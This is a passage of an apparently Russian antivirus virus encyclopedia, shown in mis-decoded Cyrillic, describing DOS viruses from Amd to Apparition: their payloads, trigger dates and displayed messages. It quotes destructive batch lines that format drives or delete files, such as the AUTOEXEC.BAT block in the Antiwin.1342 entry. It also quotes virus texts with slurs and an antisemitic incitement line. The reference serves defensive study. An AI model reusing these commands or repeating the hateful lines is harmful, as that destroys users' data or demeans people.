Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò íà ýêðàí òåêñò:
²²² ²² ²² ²²²²² ²²²²² ²²² ²²²² ²²²² ² ² ²²²² ²²²²
² ² ² ² ² ² ² ² ² ² ² ² ² ² ² ² ² ² ²
² ² ² ²² ² ² ² ²²² ²²² ² ² ²²²² ²²² ² ² ²²² ²²²²
²²²²²²² ² ² ² ² ² ² ² ²² ² ² ² ² ²²
² ² ² ² ²²²²² ² ²²² ² ²² ²²²² ² ²²²² ² ²²
² ² ²²² ²² ² ²²²² ²²² ² ² ²²²
² ² ² ² ² ² ² ² ² ² ² ² ²
² ² ² ² ² ² ² ² ² ² ² ² ²²²
² ² ² ² ² ² ² ² ² ² ² ² ² ² ²
² ² ²²² ² ²² ²²²² ²²² ² ² ²²²
²² ²² ² ² ²²² ²²²²² ²²²²² ²²² ²²²²
² ² ² ² ² ² ² ² ² ² ² ²
² ²² ² ² ² ²²² ² ² ² ² ²²²
² ² ² ² ² ² ² ² ² ²
² ² ²²²² ²²² ² ²²²²² ²²² ²²²²
Òàêæå ðàññûëàåò ïî ñåòè Novell ñîîáùåíèå "Windows 95 Must Die !!!".
Amd.4772
Håîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ðàññûëàåò ïî ñåòè Novell
ñîîáùåíèå "ÎÉ! ÄÎÑÒÀËÈ ËÀÌÅÐÛ !!!". Â ïÿòíèöó çàïèñûâàåò â MBR æåñòêîãî
äèñêà íåäîäåëàííûé çàãðóçî÷íûé âèðóñ, êîòîðûé "ïåðåõâàòûâàåò" INT 13h,
ïðÿ÷åò ñâîå íàëè÷èå íà äèñêå, íî òîëüêî "çàáûâàåò" çàðàæàòü çàãðóçî÷íûå
ñåêòîðà äèñêîâ. Âèðóñ ñîäåðæèò òåêñòû:
NAME: MPEI
Äàíèëîâ òû ×ÀÉHÈÊ,ÒÀÊÎÉ ÆÅ ÊÀÊ È ÁÈËËÈ ÃÀÒÅÑ(ÒÛ ÏÎÉÌÅØÜ).
Òîçìîçà, âèðóñ, êîòîðîìó äàë èìÿ AMD íàçûâàëñÿ íå AMD ,
à Windows 95 MUST DIE !!!
à ñòðî÷êó Windows 95 MUST DIE !!! îí ñëàë â âèäå ìåññàãè ïî ñåòè.
Ïðèíåñè ñâîè èçâèíåíèÿ è ,êñòàòè, íàïèøè Upgrade äëÿ þçåðîâ.
DRWEB î÷åíü õîðîøî ðàçíîñèò çàðàçó ïî âèíòó. Ýôôåêò íà 1000%
È åùå, ëó÷øå áû òû ÷åðåç DMA áëàñòåð ïðîãðàììèë !
Æäó âåðñèé ïîä Âûíä0óz 59, âîò òàì òû ïîðàáîòàåøü ÷åðåç DMA.
Áàëáåñ, òû Ëîçèíñêîãî áåç ðàáîòû îñòàâèë !!!
Copyleft (c) Down'niloff Corp.,2000. All Lefts Preserved. Ãðèãîð÷óê.
AMGorb.4670
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïåðèîäè÷åñêè "òðÿñåò" ýêðàí.
Âèðóñ "ïåðåõâàòûâàåò" INT 13h è ïðè ÷òåíèè ñåêòîðîâ äèñêà ïûòàåòñÿ
íàéòè ñòðîêó "Micro", è ïðè íàõîæäåíèè åå - èçìåíÿåò äàííóþ ñòðîêó íà
"*AMG*". Ìîæåò âûâåñòè îäíî èç ñëåäóþùèõ ñîîáùåíèé:
Heat level critical.Shutdown sequence initiated...
Dr.WEB-ïîëíûé DUMB! åñëè êòî ñ íàìè ñîãëàñåí ïðîøó :
PIDOR@LOXNET.XYZ ìû âñåãäà |*)
"Íàäåæíûé" ýâðèñòè÷åñêèé àíàëèçàòîð...
AMGorb.ver 2.6 for ALLwe HaTe w95!
ÏÎØÅË ÍÀ ÔÈÃ
Òàê-òàê. Ãðîçíî âõîäèò Ôîìà â êàáèíåò.
Âñå êîí÷åíî. Áîæå,ñïàñåíèÿ íåò,
À ñ íèì åùå Ðîìà, ñëåïîé îôèöåð.
Íà êîì îñòàíîâèòñÿ æóòêèé ïðèöåë ?
Íà ìíå.Åëêè-ïàëêè,õàíà ìíå äðóçüÿ,
Ïðèõîäèò,ïîõîæå,êîí÷èíà ìîÿ.
"Äàâàé, ïîäíèìàéñÿ,â êàìîðêó ïîéäåì,
È òàì ïîòîëêóåì î æèçíè âäâîåì"
-"Êàêîé åùå æèçíè,ß òàê íå õî÷ó !"
-"Ìîë÷è, íå òî æèâî áàøêó îòêðó÷ó !!"
Íó íå÷åãî äåëàòü,ïðèäåòñÿ èäòè,
À ñåðäöå òàê áåøåíî ñêà÷åò â ãðóäè.
Ìåíÿ çàòîëêíóëè,çàõëîïíóëè äâåðü.
" Íó ÷òî,âèðóñîëîã,ïîïëÿøåøü òåïåðü."
Ìíå ñòðàøíî óæàñíî,âñå òåëî äðîæèò,
Âåäü äèñê ñ AMGorb-îì â êàðìàíå ëåæèò.
Ôîìà íà ìåíÿ ãðîçíî ñìîòðèò â óïîð
È ìíå ãîâîðèò:" Ñÿäü-êà,åñòü ðàçãîâîð",
À ÿ ãîâîðþ:"Sir,ÿ î÷åíü ñïåøó,
Çàäàéòå âîïðîñû,ÿ èõ çàïèøó,
Ïîäðîáíî îòâå÷ó,ðàçìíîæó îòâåòû,
È âàì çàíåñó ÿ èõ ñëåäóùèì ëåòîì.
"Äóðà÷èòü íàñ âçäóìàë",-Ôîìà çàîðàë,
È ñ ãàäîñòíûì âèäîì îòâåðòêó äîñòàë.
Ðàçäàëñÿ ñïàñèòåëüíûé ïèñê îôèöåðà:
"Ôîìà,ñîãëàøàéñÿ,ãóòàðèò îí äåëî
Íó ðàçâå ÀÌ îí? Êàêîé îí ÀÌ?
Íó òû ïîñìîòðè,îí èñïóãàí ñîâñåì".
"Ìîë÷àòü,-ðÿâêíóë Ëåõà,-ÓÁÜÞ,ÏÈÄÀÐÀÑ!"
È äîëãî íåñ÷àñòíîãî îí çà óøè òðÿñ...
***
Íî ÿ îòêðîâåííî ñêàæó âàì,äðóçüÿ:
ÀÌ-êòî óãîäíî,íî òîëüêî íå ÿ.
Îí-ãàä íåõîðîøèé,îí âèðóñû ïèøåò,
À ÿ-ëèøü ñòèøêè,÷òî íàïèñàíû âûøå.
Èñòîðèè ýòîé ïå÷àëíûé ôèíàë:
Ïîä ãëàçîì ìîèì íåïðèìåòíûé ôèíãàë.
<*Ä Äàííûé ñòèõ ïðåäîñòàâëåí AMGorbó ÑÒÀÐÒÅÐÎÌ Ä*>
Greetû èäóò "êîëëåãàì" èç S.S.R`à (ìíå áûëî î÷åíü ;*),÷èòàÿ List) è Megadethy.
ÂèðóñîëîãÈ! íàäîåëÈ ìíÅ âàøÛ çàñèðîíÛ!  êîíöå êîíöîâ ÍÅ ÍÐÀÂÈÒÑß-ÍÅ ËÅ×È !!!
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦<<< AMGorb 15-16 years old Russia,Troitsk >>>º
ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Þíûå âèðóñîïèñàòåëè âñåõ ñòðàí ÅÄÈÍßÉÑÜ !
AmkCvc.1024
Íåîïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ-ñïóòíèê. Ïðè çàðàæåíèè COM è EXE-
ôàéëîâ ïðèñâàèâàåò èñõîäíûì ôàéëàì èìåíà ñ ðàñøèðåíèÿìè AMK (äëÿ COM-
ôàéëîâ) è CVC (äëÿ EXE-ôàéëîâ), ñîçäàåò ôàéë ñ èñõîäíûì èìåíåì ôàéëà è
çàïèñûâàåò â íåãî âèðóñíûé êîä. Â ïÿòíèöó âûâîäèò íà ýêðàí òåêñò:
Hi ! I am the Crazy October and I will now live on your system.
Don`t worry ! Everything is under controll.
Now I must go to replicate, bye !
Amoeba.2367
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. 1 íîÿáðÿ è 15 ìàðòà óíè÷òîæàåò
ñîäåðæèìîå ñåêòîðîâ æåñòêîãî äèñêà. Ñîäåðæèò òåêñòû:
AMOEBA virus by the Hacker Twins (C) 1991
This is nothing, wait for the release of AMOEBA II-
The universal infector, hidden to any eye but ours!
Dedicated to the University of Malta-
the worst educational system in the universe,and
the destroyer of 5X2 years of human life
Amse (1,2)
Amse (1) ñîäåðæèò ñòðîêó "AMSESLIFVASRORIMESAEP". Amse (2) - "ALFREDO".
Amse (2) èíîãäà âûâîäèò íà ïðèíòåð ñëåäóþùèé òåêñò "ANGEL X TE SALUDA
(c) Laboratorio Luz de Luna LIMA - PERU".
Amz.789, 1100
Îïàñíûå íåðåçèäåíòíûå âèðóñû. Amz.789 24 ñåíòÿáðÿ, à Amz.1100 1 ìàðòà è
13 ñåíòÿáðÿ ïûòàþòñÿ óíè÷òîæèòü íåêîòîðûå ñåêòîðà âñåõ äîñòóïíûõ
äèñêîâ. Amz.1100 òàêæå èíîãäà óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè è
ñîçäàåò ôàéë BOPS-BOP.S. Ñîäåðæàò ñòðîêó "AMZ".
AnalSex.178
Ñîäåðæèò ñòðîêó "ANALSEX !".
Anarchy.469
Ïîñëå çàðàæåíèÿ ôàéëîâ âûâîäèò ñîîáùåíèå:
SpeedUp 12% - Written by Joe Franza!
Ñîäåðæèò òåêñò "If you can read this, then ANARCHY Has Bestowed You
with the ANARCHY Virus! Written in the Boonies of CT - From LIK `92".
Anarchy.2048 (1-3)
Îïàñíûå âèðóñû. Ìîäèôèêàöèè âèðóñà íåçíà÷èòåëüíî îòëè÷àþòñÿ äðóã îò
äðóãà. Çàðàæàþò EXE- è COM-ôàéëû (COM-ôàéëû ïåðâàÿ êîìàíäà êîòîðûõ íå
JMP NEAR PTR (0E9h ? ?)), âíåäðÿÿ â íà÷àëî ôàéëà 2048 áàéò ñâîåãî òåëà
â ôîðìàòå EXE-ôàéëà. 2048 áàéò ôàéëà-æåðòâû âèðóñû ïåðåíîñÿò â
ñâîáîäíûé êëàñòåð, íå óâåëè÷èâàÿ ïðè ýòîì äëèíû ïîðàæåííîãî ôàéëà.
Ò.å., äëèíà ôàéëà ïî öåïî÷êå FAT ìîæåò íå ñîâïàäàòü ñ ðåàëüíîé äëèíîé.
COM-ôàéëû, èìåþùèå ïåðâîé êîìàíäîé èíñòðóêöèþ JMP NEAR PTR, è
ñîäåðæàùèå 2003 ïîâòîðÿþùèõñÿ áàéòà, âèðóñû ïîðàæàþò äðóãèì ìåòîäîì.
Îíè ïåðåíîñÿò 2003 áàéòà èç àäðåñà ïåðâîãî ïåðåõîäà â îáëàñòü
ïîâòîðÿþùèõñÿ áàéò, è â îñâîáîäèâøååñÿ ìåñòî çàïèñûâàåò 2003 áàéòà
ñîáñòâåííîãî êîäà. Ñîäåðæàò îøèáêè, â ðåçóëüòàòå êîòîðûõ ìîãóò
ðàçðóøèòü FAT è ñäåëàòü íåðàáîòîñïîñîáíûìè COM-ôàéëû. Ïåðåìåùåííûå íà
äðóãîé äèñê ïðîãðàììû òàêæå ìîãóò áûòü íåðàáîòîñïîñîáíûìè. Âíåäðÿþò
êîìàíäû ïåðåõîäà íà ñâîé îáðàáîò÷èê ïðåðûâàíèÿ â îðèãèíàëüíûé
îáðàáîò÷èê DOS INT 21h. Ñîäåðæàò òåêñòîâûå ñòðîêè: "ÃðÎá", "ANARCHY" è
çàøèôðîâàííóþ ñòðîêó "ßíú Ôàêîâñêié,USSR,1994" èëè "ßíú
Ôàêîâñêié,USSR'94".
Anarchy.3153
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé ñòåëñ-âèðóñ. 8 è 30 àïðåëÿ, à òàêæå 9
ìàÿ âèðóñ óíè÷òîæàåò ñîäåðæèìîå ñëó÷àéíûõ ñåêòîðîâ ïåðâîãî æåñòêîãî
äèñêà. Ñîäåðæèò òåêñòû:
Îçàãëàâèëàñü âåñíà òîïîðîì,
Óñïîêîèëàñü ðåêà äåêàáðåì,
Óòðî îäèíîêèì âûñòðåëîì
JANKA DYAGILEVA
JAN FAKOVSKIJ,USSR,1997
Anarchy.6093
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé ñòåëñ-âèðóñ. Âèðóñ çàðàæàåò COM, EXE
ôàéëû, à òàêæå DOC-ôàéëû äëÿ WinWord âåðñèé 6.0-7.0. Ïðè îòêðûòèè DOC-
ôàéëîâ (÷åðåç f.3dh Int 21h) âèðóñ àíàëèçèðóåò âíóòðåííèé ôîðìàò OLE2
äîêóìåíòà, ñîçäàåò íîâóþ òàáëèöó ìàêðîñîâ è äîïèñûâàåò â êîíåö äàííîãî
äîêóìåíòà çàøèôðîâàííûé ìàêðîñ AUTOOPEN, ñîäåðæàùèé âèðóñíûé êîä
äðîïïåðà. Ïðè îòêðûòèè òàêîãî èíôèöèðîâàííîãî äîêóìåíòà ñ ïîìîùüþ
WinWord, âèðóñíûé ìàêðîñ ñîçäàåò íà äèñêå EXE-ôàéë â ôîðìàòå Win NewExe
(NE), çàïèñûâàåò â íåãî êîä âèðóñà, çàïóñêàåò åãî, è ïî îêîí÷àíèè åãî
ðàáîòû - óäàëÿåò. Äàííûé NewExe-ôàéë ïðîèçâîäèò çàðàæåíèå êîìàíäíîãî
ïðîöåññîðà (COMMAND.COM) è ïðîãðàììû WIN.COM. ×òî èíòåðåñíî, åñëè âèðóñ
áûë àêòèâåí â ïàìÿòè äî çàãðóçêè Windows èëè Windows'95,òî ïðè îòêðûòèè
ëþáîãî äîêóìåíòà ñðåäñòâàìè Word for Windows, äàííûé äîêóìåíò îêàæåòñÿ
èíôèöèðîâàííûì. Ïðè çàðàæåíèè DOC-ôàéëà âèðóñ èñïîëüçóåò íåêîòîðûå
"äûðû" â ôîðìàòå OLE2, â ðåçóëüòàòå ÷åãî ïðè àêòèâíîì âèðóñíîì ìàêðîñå
AUTOOPEN ïðîñìîòðåòü åãî *íàëè÷èå* â ñèñòåìå ñðåäñòâàìè WinWord [TOOLS/
MACRO] íå ïðåäîñòàâëÿåòñÿ âîçìîæíûì. Âèðóñ ÿâëÿåòñÿ ñòåëñ-âèðóñîì
(íåâèäèìêîé) íå òîëüêî äëÿ ñðåäû DOS, íî è äëÿ ñðåäû WinWord. Âèðóñ
ñîäåðæèò íåêîòîðûå îøèáêè â ïðîöåäóðå çàðàæåíèÿ OLE2 DOC-ôàéëîâ. Â
ðåçóëüòàòå ÷åãî íåêîòîðûå ôàéëû íåáîëüøèå DOC-ôàéëû ìîãóò áûòü
ðàçðóøåíû ïðè çàðàæåíèè, à òàêæå áóäóò ðàçðóøåíû âñå DOC-ôàéëû äëÿ MS-
Office'97. Äàííûé âèðóñ ÿâëÿåòñÿ ïåðâûì èçâåñòíûì ìíîãîïëàòôîðìåííûì
âèðóñîì, êîòîðûé çàðàæàåò ôàéëû òàêèõ ðàçëè÷íûõ îïåðàöèîííûõ ñðåä,
êàê DOS, Windows è MS Word for Windows (åñëè ñ÷èòàòü, ÷òî WinWord
ÿâëÿåòñÿ òàêæå îïåðàöèîííîé ñðåäîé). 8 è 30 àïðåëÿ, à òàêæå 9 ìàÿ âèðóñ
óíè÷òîæàåò ñîäåðæèìîå ñëó÷àéíûõ ñåêòîðîâ ïåðâîãî æåñòêîãî äèñêà.
Ñîäåðæèò òåêñòû:
Îçàãëàâèëàñü âåñíà òîïîðîì,
Óñïîêîèëàñü ðåêà äåêàáðåì,
Óòðî îäèíîêèì âûñòðåëîì
JANKA DYAGILEVA áåçûñõîäíîñòü
JAN FAKOVSKIJ,USSR,1997
Anarchy.6503
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé ñòåëñ-âèðóñ. Âûêëþ÷àåò ñâîé ñòåëñ-
àëãîðèòì ïðè ñòàðòå ïðîãðàìì ARJ.EXE, PKZIP.EXE, CHKDSK.COM. Ïîñëå
çàïóñêà 30 ïðîãðàìì ìîæåò âûâåñòè òåêñò:
"Hu are u, hu am i,
Is it real you touch the sky?"
"Nothing the real
for the sky",-
said the birds of
paradise.
"I'm afraid, cant too see;
Tell me where do u carry me?"
"You will soon realize",-
said the birds of
paradise
Ïðè çàïóñêå ïðîãðàììû NCEDIT.EXE, ñ èìåíåì ðåäàêòèðóåìîãî ôàéëà â
êîìàíäíîé ñòðîêå, âèðóñ ìîæåò "âêëþ÷èòü" ñâîé ñîáñòâåííûé ðåäàêòîð äëÿ
ðåäàêòèðîâàíèÿ äàííîãî ôàéëà. Âåðõíÿÿ ñòðîêà âèðóñíîãî ðåäàêòîðà èìååò
òåêñò "Up with your shit, square sods!". Òàêæå ìîæåò âûâåñòè íåïå÷àòíîå
àíãëèéñêîå ñëîâî è "çàâåñèòü" ñèñòåìó. Ñîäåðæèò òàêæå òåêñòû
"JAN FAKOVSKIJ,USSR,1995", "UNFORGIVON".
Anarchy.9382, Anarchy.9594
Íåîïàñíûå âèðóñû. Anarchy.9594 - ïîëèìîðôíûé ñòåëñ-âèðóñ. Ïåðåõâàòûâàþò
INT 09, 21h, 28h. Ïðè íàæàòèè íà "Alt-Grey -" âûâîäÿò íåêîòîðóþ
îáîëî÷êó óïðàâëåíèÿ ôàéëàìè. Ìîãóò âûâåñòè ñîîáùåíèÿ:
Anarchy.9382:
NEVOR FREE,
NEVOR ME.
SO I DUB THEE
UNFORGIVON
Anarchy.9594:
Ñëîâíî ïîñëå òÿæåëîé
è äîëãîé áîëåçíè
ÿ âûøåë ïîä ñåðûì,
óþòíûì äîæä¸ì.
Ïðîõîæèå ëåïÿò ìåíÿ,êàê õîòÿò-
òàê æå,êàê ðàíüøå.
ß â ìÿòîé,
ïîòíîé ïèæàìå,
íî óæå áåç ïðåòåíçèé íà áåëûé ïîë¸ò.
Ñêîðî ïðèä¸ò
îñåíü
DIS IS DI END,
BEAUTIFUL FRIEND...
DIS IS DI END,
MY ONLY FRIEND-
DI END.
IT HURTS TO SET U FREE,
BUT U'LL NEVOR FOLLOW ME.
DI END-
OF LAUGHTER & SOFT LIES,
DI END OF NIGHTS...WE TIRED TO DIE...
DIS IS DI
END
I WANNA DESTROY DA PASSORS-BY
'CAUSE I
WANNA BE,-
YEAH,-
ANARCHY
 åëüöèíñêîé ñòðàíå-
Ñ êàæäûì ÷àñîì äàëüøå-êðó÷å:
Åñëè ÿ åù¸ æèâîé-ÓÁÅÉ ÌÅÍß,ëþáåð !
ß åâðåé- ÓÁÅÉ ÌÅÍß,÷ëåí îáùåñòâà "ïàìÿòü" !
Âñåõ ãîðáàòûõ äà áîëüíûõ èñïðàâèò ìîãèëà,
Âñ¸ â ïîðÿäêå,
....... (ïîñëåäíåå ñëîâî çàìåíåíî ìíîé íà òî÷êè).
Ñîäåðæàò òåêñòû:
Anarchy.9382 - "VIVAT EGOR LETOV !!!".
Anarchy.9594 - "JAN FAKOVSKIJ,USSR,1994", "UNFORGIVON".
Andrew (1,2)
Ïîñëå 512 çàãðóçîê ñ æåñòêîãî äèñêà ïûòàþòñÿ ôîðìàòèðîâàòü ïåðâóþ
äîðîæêó æåñòêîãî äèñêà. Ñîäåðæàò ñëîâî "Andrew".
Andrey.932
Èíîãäà âûâîäèò òåêñò "Hallo! From Andrey!".
Andromeda.758
Îïàñíûé ðåçèäåíòíûé âèðóñ. 5 îêòÿáðÿ ïûòàåòñÿ óíè÷òîæèòü ñîäåðæèìîå 13
ïåðâûõ ñåêòîðîâ äèñêà A:. Ïðè çàðàæåíèè èñïîëüçóåò ôóíêöèè FCB. Èìååò
òåêñòîâóþ ñòðîêó "[ANDROMEDA V1.1] BUDAPEST HUNGARY".
Angel.661, 1571
Ðåçèäåíòíûå âèðóñû. Angel.1571 - øèôðîâàííûé ñòåëñ-âèðóñ. Angel.661
óñòàíàâëèâàåò ñâîþ ðåçèäåíòíóþ êîïèþ â îáëàñòü UMB. Angel.661 ïðè
âûçîâå ôóíêöèè ïðîâåðêè âåðñèè DOS (f.30h Int 21h) ïûòàåòñÿ èñïðàâèòü â
ïàìÿòè êàêóþ-òî ïðîãðàììó, âûçâàâøóþ äàííóþ ôóíêöèþ. Angel.661 èìååò
ñòðîêó "Angel".
Angelina
Ñîäåðæèò çàøèôðîâàííûé òåêñò:
Greetings for ANGELINA !!!/by Garfield/Zielona Gora
Angry.393
Ñîäåðæèò òåêñò "I'm an angry virus from CMOS! Nobody can cure me!!".
AnsiBomb
Èíîãäà âûâîäèò ñîîáùåíèå:
HELLO! WHAT WILL YOU DO ABOUT THIS? BUY ORIGINALS TO AVOID ME AND MY 1500
NASTY FRIENDS, BECAUSE WE ARE EVERYWHERE!
Òàêæå ñîäåðæèò ñòðîêè "ANSI-BOMB VIRUS BY TESLA 5" è "I HOPE YOU DON'T
HAVE ANSI, BOY![13;13;"ECHO Y|DEL.";13P".
Anthrax
Îïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Íå ñîõðàíÿåò îðèãèíàëüíûé MBR
æåñòêîãî äèñêà. Ñîäåðæèò òåêñòû "(c) Damage, Inc.", "ANTHRAX".
AntiC.1000
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Çàðàæàåò *.COM è *.EXE-ôàéëû, ïðè÷åì EXE-
ôàéëû äåëàåò íåðàáîòîñïîñîáíûìè - çàðàæàåò òàêæå, êàê è COM. Åñëè
íàõîäèò â ïàìÿòè "íà INT 13h" ìîíèòîð VSAFE, òî âûâîäèò òåêñò "È äàæå
VSafe òåáå íå ïîìîæåò...", ïîñëå ÷åãî îòäàåò óïðàâëåíèå ïðîãðàììå-
âèðóñîíîñèòåëþ. Óäàëÿåò ôàéëû *.MS, *.C, *.H. Åñëè âèðóñó óäàåòñÿ
óäàëèòü 4 è áîëåå òàêèõ ôàéëîâ, òî îí âûâîäèò òåêñò "Òû íà Ñ íå ïèøè!!!
Ýòî ôèãíÿ!!! ß âîò ïèøó íà Paskalå!!!". Òàêæå âûâîäèò ñòðîêó
"Ñëóøàé..." è èñïîëíÿåò ìåëîäèþ.
AntiCMOS (1-3)
Î÷åíü îïàñíûå Boot-âèðóñû. Íå ñîõðàíÿþò îðèãèíàëüíûå MBR è Boot-ñåêòîðà
äèñêåò ïðè çàðàæåíèè. Ïðè çàãðóçêå ñèñòåìû ñ òàêèõ èíôèöèðîâàííûõ
ñåêòîðîâ, âèðóñû ñàìîñòîÿòåëüíî ÷èòàþò àêòèâíûé Boot-ñåêòîð äëÿ æåñòêèõ
äèñêîâ èëè ñèñòåìíûé ôàéë IO.SYS (ëèáî åìó ïîäîáíûé) äëÿ ôëîïïè-äèñêîâ
â ïàìÿòü è îòäàþò èì óïðàâëåíèå. AntiCMOS (1) ïîðòèò CMOS-ïàìÿòü.
Ñóùåñòâóåò ìîäèôèêàöèÿ âèðóñà AntiCMOS (2), êîòîðàÿ âìåñòî ïîð÷è CMOS-
ïàìÿòè âîñïðîèçâîäèò íåêîòîðûé "ðû÷àùèé" çâóê è ñîäåðæàùàÿ òåêñò
"I am Li Xibin!".
AntiCMOS.726
Îïàñíûé íåðåçèäåíòíûé âèðóñ. àïðåëå óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè.
AntiFortran.1110
Îïàñíûé ðåçèäåíòíûé âèðóñ. Óäàëÿåò ïðîãðàììû, ñòàðòóþùèå èç êàòàëîãà
F77. Â ïîíåäåëüíèê çàïèñûâàåò â êîíåö ôàéëà C:\AUTOEXEC.BAT ñòðîêó
@ECHO Y | FORMAT D:. Âî âòîðíèê çàìåäëÿåò ðàáîòó ïðîöåññîðà. Ñîäåðæèò
òåêñò "ANTI FORTRAN OF OVER-X".
AntiParity
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ïðè îáíàðóæåíèè â çàãðóçî÷íîì ñåêòîðå
âèðóñà Parity (1) ïûòàåòñÿ çàìåñòèòü åãî.
AntiPascal.400, 605
Î÷åíü îïàñíûå íåðåçèäåíòíûå âèðóñû. AntiPascal.400 óäàëÿåò ôàéëû
?????????A?. AntiPascal.605 çàïèñûâàåò â íà÷àëî *.PAS è *.BAK-ôàéëîâ
ñâîé êîä, íå ñîõðàíÿÿ èõ îðèãèíàëüíûå áàéòû.
AntiTrace.2122
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè òðàññèðîâêå INT 21h âûâîäèò ñîîáùåíèå:
ÉÍÍÍÍÍÍÍÍÍ Anti_Trace ÍÍÍÍÍÍÍÍÍÍ»
º º
º Loading AntiVirus didn't find º
º me yet. I'm so sorry! º
º º
º [ Continue ] º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ïðè îòêðûòèè èíôèöèðîâàííûõ ôàéëîâ, åñëè íàæàòû îáå êëàâèøè Shift, òî
âèðóñ óäàëÿåò ñâîé êîä èç äàííûõ ôàéëîâ. Ñîäåðæèò òåêñòû "Anti_Trace",
"Good Luck in Creating Antivirus. (C) 1993, AT Corp.".
Antiwin.465
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ïîèñê *.COM-ôàéëîâ â òåêóùåì
êàòàëîãå è çàðàæàåò èõ. Âèðóñ ðàçðóøàåò ôàéëû ñ èìåíåì WIN* (WIN.COM),
çàïèñûâàÿ â èõ íà÷àëî ïðîöåäóðó âûâîäà íà ýêðàí ñîîáùåíèÿ è çàâåðøåíèÿ
ðàáîòû "This program requires Microsoft Windows". Ñîäåðæèò òåêñò
"->AntiWindows<-".
Antiwin.633
Îïàñíûé ðåçèäåíòíûé âèðóñ. Óäàëÿåò ñòàðòóþùóþ ïðîãðàììó, åñëè åå ïåðâûå
áàéòû ðàâíû (EBh 51h). Âèäèìî, ýòî êàñàåòñÿ ôàéëà WIN.COM. Ñîäåðæèò
òåêñòû "Anti-Win 1.0", "(C) Zarathustra & Morgan".
Antiwin.1342
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ðàçðóøàåò ôàéëû ñ èìåíàìè ??N*,çàïèñûâàÿ â
èõ íà÷àëî ïðîöåäóðû âûâîäà íà ýêðàí ñîîáùåíèÿ "This program requires
Microsoft Windows" è çàâåðøåíèÿ ðàáîòû. Íà íåêîòîðûõ êîìïüþòåðàõ
âèðóñ ìîæåò âûâåñòè ñîîáùåíèå "This computer is virus protected" è
çàâåðøèòü ðàáîòó. 2 äåêàáðÿ âèðóñ âûâîäèò òåêñò:
Hi ! I'm AntiWindows v.2.0 !
Ñåãîäíÿ ìîé ÄÅÍÜ ÐÎÆÄÅÍÈß !
Õîòèòå ìåíÿ ïîçäðàâèòü ? (y/n)
Åñëè ââåñòè "Y", òî âèðóñ âûâîäèò òåêñò:
Àààààààãðîìíîå ñïàñèáî !
Îòäûõàéòå, ñåãîäíÿ ðàáîòàòü íå áóäåì !
è çàâåðøàåò ðàáîòó èíôèöèðîâàííîé ïðîãðàììû. Åñëè æå ââåñòè "N", òî
âèðóñ âûâîäèò "À çðÿ ! ß îáèäåëñÿ :( Ìñòèòü áóäó :-E~", îòêðûâàåò ôàéë
C:\autoexec.bat, çàïèñûâàåò â åãî íà÷àëî:
GOTO LMD
REM
è â êîíåö ôàéëà C:\autoexec.bat çàïèñûâàåò ñëåäóþùèå ñòðîêè:
:LMD
@ECHO OFF
CLS
ECHO.
ECHO.
ECHO.
ECHO.
ECHO ß îáèäèëñÿ ! Íàäî áûëî âñå-òàêè ïîçäðàâèòü ìåíÿ ñ äíåì ðîæäåíèÿ !
ECHO.
ECHO Y | C:\DOS\FORMAT C: >nul
ECHO Bye ! See you next time !
C:\DOS\BIRTHDAY.COM
PAUSE >NUL
CLS
Ñîçäàåò ôàéë C:\DOS\birthday.com, â êîòîðûé çàïèñûâàåò ïðîöåäóðó
óíè÷òîæåíèÿ âñåõ ñåêòîðîâ íà ïåðâîì öèëèíäðå ïåðâîãî æåñòêîãî äèñêà.
Ñîäåðæèò òåêñòû "->AntiWindows<- (C)1997 by Alexey C.", "ß ìñòþ ! ".
Antiwin.2320
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè ââîäå ñ êëàâèàòóðû äîâîëüíî
÷àñòî ïîâòîðÿåò ââîä êëàâèøè "t". Ïðè çàãðóçêå MS-Windows ìîæåò âûâåñòè
òåêñò "Use registered copies of MS Windows Greetings from MrStrange,
Kiev T.G.Shevchenko University". Ñîäåðæèò ñòðîêó ">Antiwin<, (c) by
MrStrange.". Íå çàðàæàåò ôàéëû,íà÷èíàþùèåñÿ íà DRWE,AIDS,MSCA,ANTI,AVP,
WEB,SCAN,MSAV,VSAF,GUAR,ADIN,KRNL,DOSX,WSWA,DSWA,WIN3.
AP
Íåîïàñíûé âèðóñ. Ñîäåðæèò òåêñò "DF[AIH]".
Apparition.254,700
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Óñòàíàâëèâàþò ñâîþ TSR-êîïèþ â îáëàñòü
âèäåîïàìÿòè ïî àäðåñó BA00:0000 è ïåðåõâàòûâàþò INT 21h. Apparition.700
òàêæå ïåðåõâàòûâàåò INT 10h è íå ïîçâîëÿåò èçìåíèòü òåêóùèé âèäåîðåæèì
ìîíèòîðà (f.00h INT 10h) äëÿ òîãî, ÷òîáû íå áûòü óíè÷òîæåííûì â
âèäåîïàìÿòè. Apparition.700 ñîäåðæèò òåêñò "THE APPARITION".
Apparition.1248
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñòû:
The Apparition virus, written by ********************************.
It`s a second version of *****************************.
THE APPARITION
Apparition.5959
